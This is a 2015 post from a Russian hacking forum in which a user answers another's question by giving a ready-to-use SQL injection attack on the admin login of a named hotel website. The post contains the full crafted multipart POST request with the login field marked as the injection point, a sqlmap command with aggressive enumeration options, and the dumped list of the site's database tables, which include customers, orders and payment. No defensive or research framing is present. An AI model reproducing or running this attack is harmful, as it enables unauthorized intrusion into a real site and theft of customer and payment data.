23.06.2015, 19:51
|
|
Познавший АНТИЧАТ
Регистрация: 23.04.2012
Сообщений: 1,109
С нами:
7396886
Репутация:
231
|
|
Сообщение от Muracha
↑
Почему на другую версию движка запрос типа
Потому что там запрос другой multipart
создаете файл request.txt в него код
Код:
POST /access_admin.php HTTP/1.1
Content-Length: 586
Content-Type: multipart/form-data; boundary=----Exploit_Code
Cookie: PHPSESSID=e2fa5bb7d6518aa7b7f3a206febdcff0
Host: www.bogema-hotel.ru
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/28.0.1500.63 Safari/537.36
Accept: */*
------Exploit_Code
Content-Disposition: form-data; name="authorize"
1
------Exploit_Code
Content-Disposition: form-data; name="login"
1*
------Exploit_Code
Content-Disposition: form-data; name="password"
g00dPa$$w0rD
------Exploit_Code--
дальше python.exe "путь_до\sql\sqlmap.py" -r "путь_до\sql\request.txt" --eta --random-agent --threads=10 --level=5 --union-cols=1-66 --dbms="MySQL" --technique=E --dbs
Database: ironlogix_bgmh
[24 tables]
+------------------------------+
| SS_aux |
| SS_brand |
| SS_categories |
| SS_category_product |
| SS_currency_types |
| SS_customers |
| SS_manager |
| SS_manager_dany |
| SS_news |
| SS_order_status |
| SS_ordered_carts |
| SS_orders |
| SS_pages |
| SS_payment |
| SS_payoption |
| SS_product_options |
| SS_product_options_values |
| SS_products |
| SS_products_opt_val_variants |
| SS_review |
| SS_share |
| SS_special_offers |
| SS_tags |
| SS_thumb |
+------------------------------+
|
|
|